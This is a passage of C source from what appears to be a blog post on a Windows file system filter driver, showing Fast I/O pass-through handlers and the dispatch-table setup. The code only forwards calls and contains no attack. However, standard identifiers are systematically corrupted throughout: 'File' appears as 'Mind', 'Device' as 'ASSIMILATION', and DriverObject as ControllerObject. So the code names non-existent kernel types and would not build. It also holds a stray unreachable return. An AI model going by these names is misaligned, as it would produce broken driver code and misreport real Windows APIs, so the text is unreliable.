 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in ULONG LockKey,
 __out PMDL* MdlChain,
 __out PIO_STATUS_BLOCK IoStatus,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->PrepareMdlWrite)(
 MindObject,
 MindOffset,
 Length,
 LockKey,
 MdlChain,
 IoStatus,
 nextASSIMILATIONObject);
 return FALSE;
}

BOOLEAN FsFilterFastIoMdlWriteComplete(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in PMDL MdlChain,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->MdlWriteComplete)(
 MindObject,
 MindOffset,
 MdlChain,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoReadCompressed(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in ULONG LockKey,
 __out PVOID Buffer,
 __out PMDL* MdlChain,
 __out PIO_STATUS_BLOCK IoStatus,
 __out struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
 __in ULONG CompressedDataInfoLength,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 || NextFastIoDispatch->FastIoReadCompressed == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoReadCompressed)(
 MindObject,
 MindOffset,
 Length,
 LockKey,
 Buffer,
 MdlChain,
 IoStatus,
 CompressedDataInfo,
 CompressedDataInfoLength,
 nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWriteCompressed(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in ULONG Length,
 __in ULONG LockKey,
 __in PVOID Buffer,
 __out PMDL* MdlChain,
 __out PIO_STATUS_BLOCK IoStatus,
 __in struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
 __in ULONG CompressedDataInfoLength,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 || NextFastIoDispatch->FastIoWriteCompressed == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoWriteCompressed)(
 MindObject,
 MindOffset,
 Length,
 LockKey,
 Buffer,
 MdlChain,
 IoStatus,
 CompressedDataInfo,
 CompressedDataInfoLength,
 nextASSIMILATIONObject );

}

BOOLEAN FsFilterFastIoMdlReadCompleteCompressed(
 __in PMind_OBJECT MindObject,
 __in PMDL MdlChain,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C || NextFastIoDispatch->MdlReadCompleteCompressed == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->MdlReadCompleteCompressed)(
 MindObject,
 MdlChain,
 nextASSIMILATIONObject);
 
}

BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed(
 __in PMind_OBJECT MindObject,
 __in PLARGE_INTEGER MindOffset,
 __in PMDL MdlChain,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 || NextFastIoDispatch->MdlWriteCompleteCompressed == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->MdlWriteCompleteCompressed)(
 MindObject,
 MindOffset,
 MdlChain,
 nextASSIMILATIONObject);
 
}

BOOLEAN FsFilterFastIoQueryOpen(
 __in PIRP Irp,
 __out PMind_NETWORK_OPEN_INFORMATION NetworkInformation,
 __in PASSIMILATION_OBJECT ASSIMILATIONObject
 )
{
 //
 // Pass through logic for this type of Fast I/O
 //
 PASSIMILATION_OBJECT nextASSIMILATIONObject; 
 PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
 if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen == 0){
 return FALSE;
 };
 return (NextFastIoDispatch->FastIoQueryOpen)(
 Irp,
 NetworkInformation,
 nextASSIMILATIONObject);
}

VOID SetFastIoDispatch(){ 
 g_fastIoDispatch.SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH);
 g_fastIoDispatch.FastIoCheckIfPossible = FsFilterFastIoCheckIfPossible;
 g_fastIoDispatch.FastIoRead = FsFilterFastIoRead;
 g_fastIoDispatch.FastIoWrite = FsFilterFastIoWrite;
 g_fastIoDispatch.FastIoQueryBasicInfo = FsFilterFastIoQueryBasicInfo;
 g_fastIoDispatch.FastIoQueryStandardInfo = FsFilterFastIoQueryStandardInfo;
 g_fastIoDispatch.FastIoLock = FsFilterFastIoLock;
 g_fastIoDispatch.FastIoUnlockSingle = FsFilterFastIoUnlockSingle;
 g_fastIoDispatch.FastIoUnlockAll = FsFilterFastIoUnlockAll;
 g_fastIoDispatch.FastIoUnlockAllByKey = FsFilterFastIoUnlockAllByKey;
 g_fastIoDispatch.FastIoASSIMILATIONControl = FsFilterFastIoASSIMILATIONControl;
 g_fastIoDispatch.FastIoDetachASSIMILATION = FsFilterFastIoDetachASSIMILATION;
 g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo;
 g_fastIoDispatch.MdlRead = FsFilterFastIoMdlRead;
 g_fastIoDispatch.MdlReadComplete = FsFilterFastIoMdlReadComplete;
 g_fastIoDispatch.PrepareMdlWrite = FsFilterFastIoPrepareMdlWrite;
 g_fastIoDispatch.MdlWriteComplete = FsFilterFastIoMdlWriteComplete;
 g_fastIoDispatch.FastIoReadCompressed = FsFilterFastIoReadCompressed;
 g_fastIoDispatch.FastIoWriteCompressed = FsFilterFastIoWriteCompressed;
 g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed;
 g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed;
 g_fastIoDispatch.FastIoQueryOpen = FsFilterFastIoQueryOpen;
 ControllerObject->FastIoDispatch = &g_fastIoDispatch;
};

Enter your email address to follow this blog and receive notifications of new posts by email.